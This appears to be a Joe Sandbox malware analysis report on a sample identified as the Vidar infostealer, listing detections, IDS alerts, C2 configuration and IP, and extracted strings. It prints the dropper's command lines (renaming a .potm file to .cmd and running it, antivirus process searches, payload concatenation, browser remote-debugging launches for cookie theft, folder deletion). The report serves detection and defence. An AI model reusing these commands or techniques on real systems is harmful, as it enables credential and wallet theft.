Edit tour

Windows Analysis Report
random.exe

Overview

General Information

Sample name:	random.exe
Analysis ID:	1609435
MD5:	1e854cc21a0a1e0d4529eafa30f00c46
SHA1:	7d46238f771042bee22b70555e69fbbecc556737
SHA256:	435eaccabde5605bb4d9a13ae054c63dd4e5ad61025e0515702e8121cf0a9598
Tags:	AutoITexevidaruser-aachum
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Machine Learning detection for sample

Monitors registry run keys for changes

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Copy From or To System Directory

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

random.exe (PID: 7736 cmdline: "C:\Users\user\Desktop\random.exe" MD5: 1E854CC21A0A1E0D4529EAFA30F00C46)

cmd.exe (PID: 7848 cmdline: "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7896 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7904 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7940 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7948 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7984 cmdline: cmd /c md 190244 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 8000 cmdline: extrac32 /Y /E Highest.potm MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 8024 cmdline: findstr /V "Region" Automobiles MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8040 cmdline: cmd /c copy /b 190244\Rna.com + Trials + Tour + Auditor + Indices + Interests + Bk + Not + Assessment 190244\Rna.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 8056 cmdline: cmd /c copy /b ..\Contributing.potm + ..\Cm.potm + ..\Contents.potm + ..\Templates.potm v MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Rna.com (PID: 8084 cmdline: Rna.com v MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 4152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2208,i,10478482066772228457,1035820656052212650,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2352,i,3734706409516677699,14857911372250155184,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

choice.exe (PID: 8100 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

msedge.exe (PID: 2264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6736 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6420 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199824159981", "Botnet": "a110mgz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Rna.com PID: 8084	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Rna.com PID: 8084	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.Rna.com.3f70000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.Rna.com.3f70000.2.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Rna.com v, ParentImage: C:\Users\user\AppData\Local\Temp\190244\Rna.com, ParentProcessId: 8084, ParentProcessName: Rna.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 4152, ProcessName: chrome.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\random.exe", ParentImage: C:\Users\user\Desktop\random.exe, ParentProcessId: 7736, ParentProcessName: random.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd, ProcessId: 7848, ProcessName: cmd.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\random.exe, ProcessId: 7736, TargetFilename: C:\Users\user\AppData\Local\Temp\Contents.potm

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7948, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:47.672868+0100	2044247	1	Malware Command and Control Activity Detected	5.75.214.119	443	192.168.2.8	49715	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:48.972566+0100	2051831	1	Malware Command and Control Activity Detected	5.75.214.119	443	192.168.2.8	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:47.672688+0100	2049087	1	A Network Trojan was detected	192.168.2.8	49715	5.75.214.119	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:51.432588+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49717	5.75.214.119	443	TCP
2025-02-07T17:43:51.705129+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49718	5.75.214.119	443	TCP
2025-02-07T17:43:59.638074+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49741	5.75.214.119	443	TCP
2025-02-07T17:43:59.897145+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49745	5.75.214.119	443	TCP
2025-02-07T17:44:00.885074+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49746	5.75.214.119	443	TCP
2025-02-07T17:44:01.955681+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49747	5.75.214.119	443	TCP
2025-02-07T17:44:03.873366+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49748	5.75.214.119	443	TCP
2025-02-07T17:44:10.221308+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49778	5.75.214.119	443	TCP
2025-02-07T17:44:10.684326+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49782	5.75.214.119	443	TCP
2025-02-07T17:44:11.801305+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49791	5.75.214.119	443	TCP
2025-02-07T17:44:12.953328+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49803	5.75.214.119	443	TCP
2025-02-07T17:44:14.221566+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49833	5.75.214.119	443	TCP
2025-02-07T17:44:15.306264+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49851	5.75.214.119	443	TCP
2025-02-07T17:44:17.642257+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49861	5.75.214.119	443	TCP
2025-02-07T17:44:22.179814+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49866	5.75.214.119	443	TCP
2025-02-07T17:44:25.032111+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49867	5.75.214.119	443	TCP
2025-02-07T17:44:26.235072+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49868	5.75.214.119	443	TCP
2025-02-07T17:44:28.581820+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49869	5.75.214.119	443	TCP
2025-02-07T17:44:30.602419+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49870	5.75.214.119	443	TCP
2025-02-07T17:44:30.659943+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49871	5.75.214.119	443	TCP
2025-02-07T17:44:45.112663+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49872	5.75.214.119	443	TCP
2025-02-07T17:44:46.102127+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49873	5.75.214.119	443	TCP
2025-02-07T17:44:46.991621+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49874	5.75.214.119	443	TCP
2025-02-07T17:44:48.022187+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49875	5.75.214.119	443	TCP
2025-02-07T17:44:48.980760+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49876	5.75.214.119	443	TCP
2025-02-07T17:44:50.014802+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49877	5.75.214.119	443	TCP
2025-02-07T17:44:51.139203+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49878	5.75.214.119	443	TCP
2025-02-07T17:44:52.102934+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49879	5.75.214.119	443	TCP
2025-02-07T17:44:53.129522+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49880	5.75.214.119	443	TCP
2025-02-07T17:44:54.223260+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49881	5.75.214.119	443	TCP
2025-02-07T17:44:55.181406+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49882	5.75.214.119	443	TCP
2025-02-07T17:44:56.266321+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49883	5.75.214.119	443	TCP
2025-02-07T17:44:57.187731+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49884	5.75.214.119	443	TCP
2025-02-07T17:44:58.387624+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49885	5.75.214.119	443	TCP
2025-02-07T17:44:59.336372+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.8	49886	5.75.214.119	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:59.897145+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49745	5.75.214.119	443	TCP
2025-02-07T17:44:00.885074+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49746	5.75.214.119	443	TCP
2025-02-07T17:44:01.955681+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49747	5.75.214.119	443	TCP
2025-02-07T17:44:10.684326+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49782	5.75.214.119	443	TCP
2025-02-07T17:44:11.801305+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49791	5.75.214.119	443	TCP
2025-02-07T17:44:12.953328+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49803	5.75.214.119	443	TCP
2025-02-07T17:44:14.221566+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49833	5.75.214.119	443	TCP
2025-02-07T17:44:15.306264+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49851	5.75.214.119	443	TCP
2025-02-07T17:44:17.642257+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.8	49861	5.75.214.119	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-07T17:43:45.042421+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.8	49713	5.75.214.119	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://vikine.rest/15;	Avira URL Cloud: Label: malware
Source: https://vikine.rest	Avira URL Cloud: Label: malware
Source: https://vikine.rest/stc	Avira URL Cloud: Label: malware
Source: https://vikine.rest/-end-point:OG	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199824159981", "Botnet": "a110mgz"}

Multi AV Scanner detection for submitted file

Source: random.exe	Virustotal: Detection: 57%			Perma Link
Source: random.exe	ReversingLabs: Detection: 47%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for sample

Source: random.exe

Joe Sandbox ML: detected

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.214.119:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: random.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
